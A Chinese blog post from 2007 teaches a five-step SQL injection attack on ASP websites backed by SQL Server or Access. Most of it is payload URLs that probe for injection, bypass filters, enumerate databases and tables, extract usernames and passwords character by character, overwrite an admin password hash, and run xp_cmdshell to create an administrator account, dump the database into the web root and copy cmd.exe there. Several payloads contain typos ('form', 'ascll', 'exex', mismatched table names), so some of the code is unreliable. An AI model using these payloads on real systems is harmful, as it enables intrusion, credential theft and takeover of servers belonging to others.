注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

A1Pass的风清月朗居

追随技术的巅峰,突破欲望的枷锁!我,是技术与精神的享乐者!

 
 
 

日志

 
 

SQL注入魔鬼五步走  

2007-06-24 22:55:32|  分类: 思绪燃星火——技 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

[注:转载时清保留版权信息!]

{前言:谁都有犯傻的时候,看我05年时辛辛苦苦写的文章,简直是小竹《SQL注入天书》的翻版!!一直没脸拿出来,后来想想不能白写不是?所以免费发出来了,没办法……}

作者:A1Pass  http://a1pass.blog.163.com/

    记得从03年开始,国内就开始逐渐流行起SQL注入攻击了。其主要原因还是由于研究脚本的朋友增加,网站的建设更是如雨后春笋!伴随而来的自然就是漏洞的增加……

    老鸟们应该清楚,目前国内的热门建站技术就是以ASP作前台,用SQL Server或ACCESS数据库作为后台的B/S结构了。随着B/S模式的应用与发展,自然而然的使用这种模式编写网站的程序员也自然就越来越多。这么多的程序员,编程水平与经验必然会参差不齐。由于编程水平与经验等等的问题,一些程序员在编写代码的时候,都没有对用户输入信息的合法性进行严格判断,从而使网站存在极大的安全隐患!

    而我们所说的SQL注入,其原理就是由用户提交一段非法的数据库查询代码,根据其网页的返回结果,从而获得他想知道的一些敏感信息。由于这种攻击方法是以正常的访问页面为攻击途径,所以根本不会引起防火墙的警觉,自然很难让人察觉!所以才会出现某些站点被入侵了很长时间都没有发觉这一现象的出现……

    大家也看到了,SQL注入的优点是非常多的!然而我们今天的这篇文章就是教大家怎样熟练运用SQL注入这一巧妙攻击手法的!有些人可能回问“SQL注入已经问世2年多了,而且攻击手法简单,用工具是完全可以做到傻瓜试入侵的!”是呀,正是由于越来越多的攻击手法已经逐渐被工具代替,所以才有相当大一部分刚刚接触黑客的朋友变成了只会使用工具,而不知道其原理的伪黑客!在这里顺便说一下,刚刚进入黑客这一边缘群体的朋友们千万要注意,凡事要敢于问为什么!千万不要急功近利,拿起工具就用!要做到知起然而知其所以然!只有这样你的技术才会得到真正意义上的提高!

    好了,我们言归正传!在这里先说一下,由于SQL注入的手法相当灵活,所以入侵的时候难免会遇到一些预想不到的情况。所以这就要求入侵者要会对自己的入侵手法进行随机改变,并懂得变通!所以,我们完全可以把SQL注入入侵的过程看作是一道物理题的解题过程!我这篇文章里介绍的就是一些相当于物理公式功能的东西!好,下面我就针对目前比较流行的ASP+SQL Server这种B/S结构为大家讲述一下整体的入侵思路,与一些其他的常用知识。

    既然SQL注入就相当于作一道物理题,那么它肯定也有自己一定的步骤。根据我对SQL注入一些研究,总结出了SQL注入之“魔鬼五步走”,希望能对大家有所帮助,并对SQL注入有能进一步的了解。

魔鬼五步走之第一步:幽魂索梦判断漏洞,并找出注入点

引子:在其熟睡之时,令一幽魂如其梦境,探其强弱,知其要害!以求一击致命!

    这第一步,当然是找网页漏洞与注入点,而关于寻找注入点,方法还是挺多的。鉴于观看本文的大多还是初学者,所以在这里我先介绍一下在一般情况下SQL注入的形式。

    一般来说,SQL注入漏洞存在的形式大多数为带有参数的ASP动态网页中,URL一般为:Http://www.xxx.com/123.asp?id=xx这样的格式。关于动态网页的参数,其数目是不固定的!有时可能是只有一个,有时也可能存在N个参数!关于参数的类别,是有整形参数与字符串参数之分的,不能一概而论!但是只要该ASP动态网页存在参数,并且访问了数据库,那么恭喜你,你可能找到了一个存在SQL注入的页面!如果该站点的ASP程序员没有足够的安全意识与编程经验的话,那么出现不对必要字符进行过滤的可能性就非常大了,自然存在SQL注入攻击的可能性也会随之增大!(其实就算加上了字符过滤,我们也还是有办法的!关于这些,我会在后面讲到的。)

    在你找出类似上面的网页后,接下来就可以正式开工了!不过先别急!为了照顾初学者,开工前我得先说说整形参数与字符串参数的区别!所谓的整形参数,就是指只能输入数字作为变量的参数,而字符串参数则可以同时输入数字与字符!由此可见ASP中参数一般分为两种!鉴于存在字符串与数字两种参数类型,下面我们就根据参数类型得不同来分别讲述如何判断网站是否存在SQL注入漏洞。

1.关于整形参数的判断

    在这里我们不得不说一下ASP中SQL语句的“本来面目”。关于SQL语句的“本来面目”,初学者们可以做一个参考,看懂最好,当然看不懂也没关系。

    例如当你输入的参数AA为整形时,在一般情况下ASP中SQL语句的原貌大致如下:

select * from 表名 where 字段 = AA

    由上可知要判断SQL注入是否存在可以用以下方法判断:

(1.)Http://www.xxx.com/123.asp?id=xx'(即附加一个单引号),此时123.asp中得SQL语句就变成了select * from 表名 where 字段 = AA',123.asp运行异常。

(2.)Http://www.xxx.com/123.asp?id=xx and 1=1,123.asp运行正常,而且与Http://www.xxx.com/123.asp?id=xx运行结果相同。

(3.)Http://www.xxx.com/123.asp?id=xx and 1=2,123.asp运行异常。

    假如说以上三种判断方法都成功,则123.asp中一定存在SQL注入漏洞。

2.关于字符串型参数的判断

    关于字符串型参数的SQL原貌与整形参数大体相同,即当你输入的参数AA为整形时,在一般情况下ASP中SQL语句的原貌大致如下:

select * from 表名 where 字段 = 'AA'

    所以,对于字符串型参数也可以用三种方法判断。

(1.)Http://www.xxx.com/123.asp?id=xx'(即附加一个单引号),此时123.asp中得SQL语句就变成了select * from 表名 where 字段 = AA',123.asp运行异常。

(2.)Http://www.xxx.com/123.asp?id=xx and '1'='1',123.asp运行正常,而且与Http://www.xxx.com/123.asp?id=xx运行结果相同。

(3.)Http://www.xxx.com/123.asp?id=xx and '1'='2',123.asp运行异常。

如果以上三种方法都满足的话,那么123.asp有漏洞就成为一个事实了!

    有关于判断SQL注入漏洞的问题,用这两组方法就已经足够了!但有些经验丰富的ASP程序员会对我们所输入的非法变量做一定的过滤,这当然不可能难倒我们!对于绝大多数的过滤,一般用以下方法就可以轻松将其绕过。

1.大小写混合法:因为一般ASP采用的编程语言为VBScript(简称VBS),而VBS语言并不区分大小写!而程序员过滤的通常为全部大写或全部小写的字符串,就算是用了大小写混合的过滤字符串,也往往会忽视某几种情况,所以大小写混合法的成功率还是挺高的。为了照顾初学者,我在这里举一个例子。例如用AbCd代替Abcd、aBCD等字符。

2.Unicode法:关于“Unicode”,相信细心的初学者在本文文档的“编码”一栏里应该看过。它是很多国际大公司联合起来制定的一套可以用于全世界所有国家的字符编码,不管哪一个国家的文字,均可以以两个Byte来表示。所以在IIS中(即系统的IIS服务,默认不安装),以Unicode字符实现国际化,所以我们完全可以把输入的字符转化成Unicode字符串在进行输入,例如你输入AB CD与输入AB%20CD的效果是完全一样的!

3.ASCLL码法:与Unicode码相似,ASCLL码的诞生是鉴于信息交换的重要意义以及作为统一文字符号的编码标准,从而达到让不同品牌机型的计算机都能使用同一套标准化的信息交换码,所以美国国家标准局特别为此制定了ASCLL码(即:America Standard Code for Information Inetrchange,英文大意为:美国信息交换标准码),作为计算机传输数据的标准编码,ASCLL码早期使用7个位来表示英文字母、数字0到9以及其他的标点符号等,而现在以改为8个位,共可以表示256个不同的文字与符号,因此,ASCLL码是现在计算机系统中使用最普遍也是最广泛的英文标准码,相对于ASCLL码,中文系统中使用最广泛的内码则为Big-5码。看到这,初学者们知道ASCLL码的基本意义后,应该不难想出我们的第三种方法了。不错,是几乎雷同于Unicode法的方法,就是把我们想要输入的部分或全部字符都用ASCLL码代替,如a=chr(97)等。

4.重写过渡法:这种方法的原理最简单,也应该是最易用的方法了!其原理有点借力打力的味道,好了,在多说也没用,举个例子大家就明白了。例如有个网页对用户提交的信息过滤了CMD这个单词,那么就可以将提交的内容改为CCMDMCDMD,为了便于大家理解,我在相应的位置加了空格,大家这时可以在看看C CDM M CMD D,看到这,我想大家应该明白了,在网页将那两个CMD过滤掉之后,剩下的字符提交进去后正好组成了CMD这个单词,从而便达到了我们的目的!

    好了,关于“魔鬼五步走之第一步:幽魂索梦”到这里就算全部结束了!我们在来回忆一下这一步所讲的内容,很简单,就是教大家怎样判断网页上是否存在SQL注入漏洞,与怎样绕过网页的过滤这两部分。如果你认为上面的内容已经学好了,那么我们就可以进行下一步了……

魔鬼五步走之第二步:追魂摄魄判断后台数据库类型

引子:令黑白无常追其灵魂,摄其心魄!分而处之,对症下药。以求事半功倍!

    当我们判断某个网页确实存在SQL注入漏洞的时候,大家就可以开始魔鬼五步走的地二步了!

    关于数据库,目前各个网站上使用最普遍的数据库就是ACCESS和SQL Server了,鉴于时间有限,我就先对这两种数据库进行讲解。

    熟悉数据库的朋友都应该知道,ACCESS和SQL Server这两种数据库都支持T-SQL标准。虽然这样,但还是有不同之处的,所以针对数据库的不同也同样有不同的攻击方法!理所当然,我们现在要做的就是判断存在SQL注入漏洞网页后面数据库的类型。下面我就为大家介绍几种常见的方法。

    正所谓知己知彼方能百战百胜!SQL Server对我们黑客似乎有什么特别的感情,因为如果你正在入侵一个以SQL Server作为数据库的网站时,你不但可以判断其数据库类型,还可以得到其他一些有用的信息!导致这种情况发生的正是由于SQL Server数据库中有user,db_name()等系统变量,利用这些系统变量就可以达到我们上面所说的目的!我在这里简单的给大家举几个例子:

(1.)Http://www.xxx.com/123.asp?p=AA and user>0,在向其提交这个地址时,我们就可以判断此网站是否使用了SQL Server数据库!在此同时,我们还能得到当前连接到数据库的用户名!

(2.)Http://www.xxx.com/123.asp?p=AA and db_user()>0,在向其提交这个请求时,我们同样可以判断此网站是否使用了SQL Server数据库!在此同时,我们还能得到当前正在使用的数据库名!

    这些,都是根据SQL Server的系统变量来进行的,除此之外,我们还可以根据系统表来判断。因为SQL Server的系统表为sysobjects,在WEB环境下有访问权限,而ACCESS的系统表为msysobjects,所以在WEB环境下没有访问权限!所以我们可以根据这个简单的区别来以系统表的特性判别数据库的类型。请看以下例子:

(1.)Http://www.xxx.com/123.asp?p=AA and (select count(*) form sysobjects)>0

(2.)Http://www.xxx.com/123.asp?p=AA and (select count(*) form msysobjects)>0
如果数据库是SQL Server,则第一条地址成功提交后123.asp一定运行正常,而第二条则会运行异常!如果是ACCESS数据库时,那么这两条都会异常!

    看到这,我想大家应该会手工判断数据库类型了吧?只有学会了这些,我们才能顺利的进行更深一步的入侵!还是那句话:如果你认为上面的内容已经学好了,那么我们就可以进行下一步了……

魔鬼五步走之第三步:魔音摄心猜解后台数据库位置

引子:魔王一吼,五音攻心!以求直接取其要害,攻其软肋!

    首先恭喜你顺利的走过了前两步!正所谓一山更比一山高,现在进行的第三步,正是SQL注入的核心部分了!同样,这也是整个SQL注入过程中最难的一步,当然更是关键的一步!所以大家现在一定要打起精神来!对于这一步,我也总结出一些规率!希望对大家有用,但是不要忘了“我们完全可以把SQL注入入侵的过程看作是一道物理题的解题过程!”这一句话!但同样也要记住我教大家的是“物理公式”,并非现成的“答案”!当然,这里也是有很多技巧的,只要大家能熟练的运用这些技巧,那么入侵也就只是时间的问题了!

    接触过网战建设的朋友们都应知道,在利用WEB脚本语言做前台,数据库做后台的系统中,必须有一些是来自于用户提交的信息,例如我们登陆论坛时提交的用户名、密码,或我们提交出去的搜索字符串等。我们的目的就是利用这些由我们提交的信息或是我们可以更改的信息,从而将SQL语句更改成我们需要的语句。因此,我们可以利用SQL的强大的功能来猜解数据库名称,以至于每张表的表名,甚至于你想知道的一切(例如用户名、密码等)!好了,下面我们就逐一讲解如何猜解数据库。

1.猜解‘数据库名称’的方法

    好的,我们先提交一个地址!Http://www.xxx.com/123.asp?p=AA and (select count(*) form master.dbo.sysdatabases where name>1 and dbid=6) <>0

    这是什么呀?呵呵!不要急,听我慢慢解释!我们所利用的就是有关于dbid的值由1到5是系统所用的,由此可推出用户如果自己建的话一定是从6开始的!又鉴于name字段是一个字符型的字段,它和数字比较会出错,所以我们提交了name>1,从而导致123.asp工作异常!就这样,我们得到了一个数据库名。由此可以推出,只要把dbid分别改成7、8、9、10……就会得到所有的数据库名。

2.猜解‘用户名表名’的方法

    好了,假设我们上面得到了一个数据库名hackerDB,就可以猜解其中的用户名表名了!关于用户名表名的猜解方法一般分为两种,即暴力破解法与读取信息法,下面我就针对这两种方法进行讲解。

(1.)暴力破解法:这个方法就是根据个人经验猜解表名,大多情况下成功率较高的有:user、users、userone、userlist、userinfo、member、members、memberlist、memberinfo、admin、adminuser、admins、systemuser、systemusers、systemaccouns、sysuser、sysusers、sysaccouns等。当然,这是一个体力活,最好还是用专用的程序猜解!然后我们就通过SQL语句进行漫长的判断……

    好,我们再提交一个地址Http://www.xxx.com/123.asp?p=AA and (select count(*) form hackerDB.dbo.上面提到的表名)>0,如果表名存在,那么123.asp则工作正常,反之异常。就这样一次次地循环,直到猜到系统帐号表的名称为止。

(2.)读取信息法:由于SQL Server内有一个存放系统核心信息的表sysobjects!而且这个表还可以通过WEB来进行访问!所以,我们就以它为突破口,让它暴出用户名表名!

    由于xtype='U' and status>0所代表的是用户自己建的表,所以我们可以有此来分析每一个用户所建立的表与名称,由此便可以得到用户表的名称,下面我们一点点的来学习。

    1.)提交地址:Http://www.xxx.com/123.asp?p=AA and (select top 1 name from hackerDB.dbo.sysobjects where xtype='U' and status>0 )>0,提交完成后,我们就可以得到第一个用户名建立的表名,并使其与整数比较,很显然,导致的结果是123.asp工作异常!而我们恰恰就是利用这一点来发现表的名称的。

    2.)提交地址:Http://www.xxx.com/123.asp?p=AA and (select top 1 name from hackerDB.dbo.sysobjects where xtype='U' and status>0 and name not in('abc'))>0,提交完成后,我们就可以得到第二个用户名建立的表名,所以大家可以以此类推,从而得到所有表的名称。

3.猜解‘用户名字段与密码字段’的方法

    OK!这次我们再假设这次我们得到的用户名表名的名称为hackername,我们就可以进行下一步了!

    由于数据库的特点,我们所猜解到的hackername表中一定有一个用户名字段与密码字段,当然,只有我们得到这两个字段的名称,才有希望得到相关内容……对于它,我们同样可以用暴力破解法与读取信息法这两种方法进行破解!好了,再忍耐一下,就要到关键时刻了!希望就在眼前呀!

(1.)暴力破解法:这个方法就是根据个人经验猜解字段名称,关于用户名字段,大多情况下成功率较高的有:user、users、userone、userlist、userinfo、member、members、memberlist、memberinfo、admin、adminuser、admins、systemuser、systemusers、systemaccouns、sysuser、sysusers、sysaccouns等。密码字段则常用:password、pass、pwd、psword、pword、passwd等……总之,这还是体力活一件!依然推荐用专用的程序猜解!不然的话,强烈建议你先买几贴狗皮膏药贴到手背上,然后再人工猜解……

    好了,言归正传,我们提交这样的一个地址:Http://www.xxx.com/123.asp?p=AA and (select count(上面提到的字段名) form hackerDB.dbo.hackername)>0

    怎么样,看着眼熟吧?对!我们的目的就是通过“select count(字段名) form 表名”这一语句来得到表的行数,由此推出,只要字段名存在,那么123.asp就工作正常,否则就会异常。就这样一次次地循环,直到猜到两个字段的名称为止。

(2.)读取信息法:我们再这里主要运用select top 1 col_name(object_id('hackername'),1) from hackerDB.dbo.sysobjects这一语句进行判断,提交完成后,我们就可以从sysobjects中得到以知表名的第一个字段名,并使其与整数比较,很显然,导致的结果是123.asp运行异常!而我们恰恰就是利用这一点来发现表的名称的。

    提交地址:Http://www.xxx.com/123.asp?p=AA and (select top 1 col_name(object_id('hackername'),1) from hackerDB.dbo.sysobjects)>0

    在这里,我们把col_name(object_id('hackername'),1)中的1,依次换成2、3、3、4、5……就可得到所有的字段名称。

3.猜解‘用户名与密码’的方法

    猜解用户名与密码的方法有两种常用方法,这也是猜解方法中最有效的两种方法之一,他们分别是“ASCLL码解码法”与“傻瓜试猜解法(也叫‘简单法’)”这两种方法。下面我就针对这两种方法逐一进行讲解。

(1.)ASCLL码解码法

    我们先说说这个方法的思路,其实很简单,说白了就是先猜出字段的长度,然后在依次猜出每一位的值。所以用这种方法可以猜解用户名与密码这两项,方法也自然是一样的。好了,我们举例说明。

    提交地址:Http://www.xxx.com/123.asp?p=AA and (select top 1 len(username) form hackerDB.dbo.hackername)=X

    其中X可以是1、2、3、4……n的任意整数,username指的是用户名字段的名称,hackername为表的名称。当我们提交完毕后,且123.asp运行正常时,则X所对应的数就为第一个用户名的长度。举个例子…

    例:当输入Http://www.xxx.com/123.asp?p=AA and (select top 1 len(username) form hackerDB.dbo.hackername)=6时,123.asp运行正常,则第一个用户名的长度就为6。

    当我们得到一个用户名的长度时,就可以对其进行猜解。

    提交地址:Http://www.xxx.com/123.asp?p=AA and (select top 1 ascll(substring(username,m,1)) form hackerDB.dbo.hackername)=Y

    其中m的值是从1到我们上面得到用户名的长度之间(例如:当用户名的长度为6时,m的取值就为1、2、3、4、5、6中任意一个),当m为1时,则我们猜解的就为用户名第一位的值,当m为2时,则我们猜解的就为用户名第二位的值…以此类推。这里n的值则是从1~9,a~z,A~Z之间的ASCLL码值,转换成数字就是从1到128之间的任意值。还有username指的是用户名字段的名称,hackername为表的名称相信大家应该都知道了吧?举个例子…

    例:当我们输入Http://www.xxx.com/123.asp?p=AA and (select top 1 ascll(substring(username,2,1)) form hackerDB.dbo.hackername)=80时123.asp运行正常,则此用户名的第“2”位为P(P的ASCLL码为80)

    到这里有关于ASCLL码解码法的介绍就告一段落了!最后在提几句,很多时候我们得到的密码可能是经过MD5等方式加密的,所以还需专用工具破解……

(2.)傻瓜试猜解法

    这个方法主要是通过使123.asp运行异常来得知用户名与密码的值。

    我们先讲猜解用户名!提交地址:Http://www.xxx.com/123.asp?p=AA and (select top 1 flag from hackerDB.dbo.hackername where username>1)

    其中flag为hackername表中的一个字段,username为用户名字段,此时如果123.asp运行异常,就能得到name的值。所以你可以用同样的方法来猜解出表中的所有用户名。

    当我们得到一个用户名的值时,我们提交地址:Http://www.xxx.com/123.asp?p=AA and (select top 1 flag from hackerDB.dbo.hackername where pwd>1)

    其中flag为hackername表中的一个字段,pwd为用户名字段,此时如果123.asp运行异常,就能得到pass的值。所以你可以用同样的方法来猜解出表中的所有用户的密码。在这其中,难免会遇到猜解出的密码是经过加密后的密文这种情况,对于这种情况,当我们用工具猜解不出或根本不想猜解时,我们可以用以下方法解决!

    假设该网站的用户密码都是经过MD5码加密的,你想把名为888这个用户的密码改为1,我们可以提交以下地址…

    Http://www.xxx.com/123.asp?p=AA;update hackerDB.dbo.hackername set pwd='000000000000000000' where username='888';--(假如1的MD5码为000000000000000000)当我们用完后,还可以用同样的方法改回原来的值。

    假如不是用MD5码加密的呢?在那个网站注册个会员,在看看自己帐号的密码相应的密文,然后吧想改那个帐号后面的密文替换成自己的(别告诉我你不知道自己帐号的密码)。

    怎么样?这一节的知识很难吧?不用担心,更不能心急!一定要稳扎稳打一步一个脚印才能学到真正的技术!当你把这一节的内容都嚼烂后,就可以进行下一步的学习了!

   
魔鬼五步走之第四步:五鬼追门猜解后台登陆口

引子:令地狱喜、怒、哀、乐五小鬼探其门庭,追其住处!

    首先恭喜你顺利的走过了艰难的第三步!关于这第四步走,我认为还是比较简单的,操作方面与第三步差不多,绝对的重体力活,都得借用相关软件。在大家利用上面的方法得到管理员的帐号与密码后,应该意识到了,要这帐号与密码也没什么用呀,连管理员登陆页面都找不到!是呀,找不到连管理员登陆页面就无法进入网站内部,入侵也就无从谈起了!针对这一情况,我为大家安排了魔鬼五步走之第四步走——五鬼追门(猜解后台登陆口),希望大家喜欢!

    针对不同的数据库,猜解的方法也不尽相同,下面我就针对这两种方法一一进行讲解。

一、针对ASP+ACCESS数据库

    对于ASP+ACCESS数据库的后台猜解有两种方法,即用工具暴力破解与手工猜解(谢谢您的鸡蛋,哦!还有西红柿耶!嗨!那个拿砖头的,你的我就不要了,谢谢了!)。关于用工具暴力破解的方法我想不用教大家也会!这里我们着重讲解手工破解。

    关于手工猜解,切记不要弄的太复杂!我们在这上面花的时间最多不要超过40分钟,因为如果你花了40分钟的时间还没猜解出来的话,在继续下去也没有多大的意义了,所以此时请出专业软件才是明智的选择。

    第一步我们先凭经验猜它的默认路径,猜解方法就不说了,是人就会!关键是收集尽可能多的流行脚本程序,通过在自己机器上安装而得知其默认路径,收集这些默认路径并做好记录,到时它们可能会帮我们的大忙!

    第二步我们来找一下后台文件夹位置,一般情况下我们可以提交类似于Http://localhost/admin/这样的地址,如果IE返回了403的禁止访问信息码,则可以判定有admin这个文件夹,如果IE返回了404的错误访问信息码,那么就说明不存在admin这个文件夹,这时我们可以猜解别的目录。

    第三步我们可以尝试一下常用的后台名,例如:admin.asp、manager.asp等这些程序员习惯命名的文件。根据现在后台管理页面大多使用HTML框架结构这一现状,大家可以猜解left.asp、right.asp、main.asp等常见的文件名。如果这几种方法行不通的话,就借助一些工具来帮我们完成任务吧。

二、针对ASP+MS SQL数据库

    大家对上面ACCESS数据库的后台猜解方法有什么看法?我个人认为是浪费自己的运气,还不如攒足了运气买张彩票去呢……而针对SQL Server数据库就是纯技术猜解了。

    xp_dirtree这个存储过程不知道大家听没听没听过,我们这里针对SQL Server数据库的猜解就是用了xp_dirtree这个存储过程中的两个深度隐含函数来完成的,怎么样?听起来不错吧!我下面就为大家讲解一下利用xp_dirtree存储过程中的两个深度隐含函数来完成猜解的全过程。

    我们利用这两个深度隐含函数可以顺利的列出系统下的所有目录,不过想要达到这点,必须有一个前提条件!就是我们必须要先在数据库中建立一个表存储文件的名称才行!我们下面就以假设“Http://127.0.0.1/aaa.asp?username=love”是一个注入点为前提,来举例为大家说明。

    1.建立xp_dirtree需要的表

    提交地址:Http://127.0.0.1/aaa.asp?username=love';create table abcd(subdirectory nvarchar(256) null,depth tinyint null,[file] bit null);--

    提交完成后,我们就建立了一个名为abcd的表,这个表的三个字段名分别为subdirectory、depth、file。因为username=love是字符型,所以我们构想如上SQL语句前要加“'”,然后还得加“--”注释行。

    2.将D盘的目录写进表里

    提交地址:Http://127.0.0.1/aaa.asp?username=love';insert lcx exex master..xp_dirtree 'd:\',1,1;--

    3.利用工具nbsi得出表里得值

    假如我们看到d:\bbs十分有可能就是网站的目录,那么我们就先提交语句删除建立的表abcd。

    提交地址:Http://127.0.0.1/aaa.asp?username=love';drop table lcx;--

    然后在重复第一、二、三步,稍有不同的就是要将第二步中提交的“'d:\'”改为“'d:\bbs'”即可。以此类推,最终得出后台的路径名与文件名。

    通过以上的学习,大家应该有能力完全控制一些网站了,例如整站修改,删帖子,加广告等等,总之能做站长所能做的一切事情!但是一定要记住,千万不能在自己国家的网站上糊搞乱搞!作为一个真正的黑客,是绝对不会攻击与自己毫不相干的人的!如果你想告知站长他的网站有漏洞,请尽量采取一些低调的方式,如通过QQ或E-mail等方式。

    切记:害人者,终害己!

魔鬼五步走之第五步:阎罗追命入侵系统

引子:二魄以毁,六神以分,事事皆好,成功在即!在此万事具备,只欠东风之时,由阎王亲身前往,取其性命!

    当大家通过以上的学习后,是不是还觉得少点什么?对!最刺激,也是获得网络上最无上权利的方法——入侵系统!大家在本章可以了解到详细的入侵手法,让我们进行魔鬼五步走之最后一步:阎罗追命(入侵系统)吧!

    就目前的入侵手法来看,最成功的莫过于利用网站管理的存储过程来入侵系统了,为了照顾初学者,我们先来了解一下什么是存储过程。

    总的来说,存储过程就是人们存储在SQL Server中预先写好的SQL语句集合。

    分类来说,存储过程总共可分为三类。

    1.系统存储:系统存储是指系统提供的一种存储过程,这种存储过程在安装SQL Server时被创建的,名字以“SP_”开头。

    2.用户定义:是指用户自己定义的存储过程,这种存储过程是SQL Server的使用者编写的存储过程。

    3.扩展存储:扩展存储是指一种通过对动态链接库函数的调用来达到存储目的方式,而且它的动态链接库函数与一般动态链接库函数不尽相同!它们可以直接运行在SQL Server分配的内存地址中!针对这种方法的特性,我们着重对扩展存储的运用方法进行讲解。

    关于扩展存储中最有用的扩展存储过程莫过于xp_cmdshell了,理论上它可以执行系统的所有指令。假设我们获得的当前链接数据库帐号具有SA权限,且xp_cmdshell扩展存储过程能够正确执行,那么我们可以通过以下方法进行完全控制。

第一步:

    提交地址:Http://www.xxx.com/123.asp?p=AA and user>0

    123.asp运行异常,但可以得到当前链接数据库帐号(若显示dbo则代表此用户为SA权限)。

第二步:

    提交地址:Http://www.xxx.com/123.asp?p=AA and db_name()>0

    123.asp运行异常,但可以得到当前链接数据库名。

第三步:

    提交地址:Http://www.xxx.com/123.asp?p=AA;exec master..xp_cmdshell "net user abc123 123456 /add"--(其中master是指SQL Server中的主数据库;语句中的分号表示SQL Server执行完分号前面的语句名并执行后面的语句;“--”号是注释的意思,表示后面仅为注释,系统并不执行。)

    提交完成后即可添加系统操作帐户abc123,其密码为123456。

第四步:

    提交地址:Http://www.xxx.com/123.asp?p=AA;exec master..xp_cmdshell "net localgroup administrators abc123 /add"--

    把我们刚才加的用户abc123添加到administrators组中,使其具有管理员权限。

第五步:

    提交地址:Http://www.xxx.com/123.asp?p=AA;backuup databaer to 数据库名 disk='c:\inetpub\wwwroot\save.db'

    提交完成后即可把数据库内容全部备份到WEB目录下,再用HTTP把此文件下在下来(得先知到虚拟目录)。

第六步:

    提交地址:Http://www.xxx.com/123.asp?p=AA;exec master..xp_cmdshell "copy c:\winnt\system32\cmd.exe c:\intepub\cmd.exe"

    提交完成后即可成功制造一个UINCODE漏洞,通过此漏洞的利用方法,以便于我们对整个主机的控制。

    当我们完成以上操作时,就可以顺利的入侵主机系统了,为了便于大家进行多原化入侵,下面我再简单的给出另外的几个比较有用的存储过程:

1.Sp_Msgetvresion

    作用:返回SQL Server的版本号。

    用法:exec master..Sp_Msgetvresion

2.xp_dirtree

    作用:列出对应目录下的文件以及文件夹。

    用法:exec master..xp_dirtree '想查看的文件夹路径' 例:Http://www.xxx.com/123.asp?p=AA;exec master..xp_dirtree 'c:\winnt'

3.xp_enumerrorlogs

    作用:可以返回所有的错误日志和他们的更新日期。

    用法:exec master..xp_enumerrorlogs

4.xp_fixeddrives

    作用:可以列出所有硬盘分区各自的剩余空间。

    用法:exec master..xp_fixeddrives

    另外还有xp_regread、xp_regdeletekey、xp_regwrite等存储过程,它们的作用依次是读取、删除、写入注册表键值,详细的用法的家可以“百度”一下,我再这里就不在细讲了。如果大家能熟练的运用这些存储过程,相信入侵系统只有时间的问题!

    到这里,有关于《SQL注入魔鬼五步走》的内容就完全讲完了,希望大家能真正的把入侵当作一门艺术来看待,相信大家看完本文后能对SQL注入的灵活性与多原性有一个全新的了解。总之,还是那句话,我所写的“魔鬼五步走”只是为大家提供一种“做题的公式”与“解题的思路”,并非是什么永远不变的定试!其实,SQL注入的真正灵魂所在还是在于‘灵活’、‘变通’!

    好了,就写到这里吧,本人才疏学浅,文中有什么错误还望大家不惜指正!我QQ:791188058,欢迎大家来访!最后祝大家能学有所成!

其他精彩内容

解析俺15岁画的画                  [原创]我入侵的一些比较牛的服务器

我的一篇日记[05.11.10]                  新弄了个日志背景

[原创]由一道面试题引发的思考                  转载冰血大哥的一篇学习计划

  评论这张
 
阅读(2446)| 评论(5)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018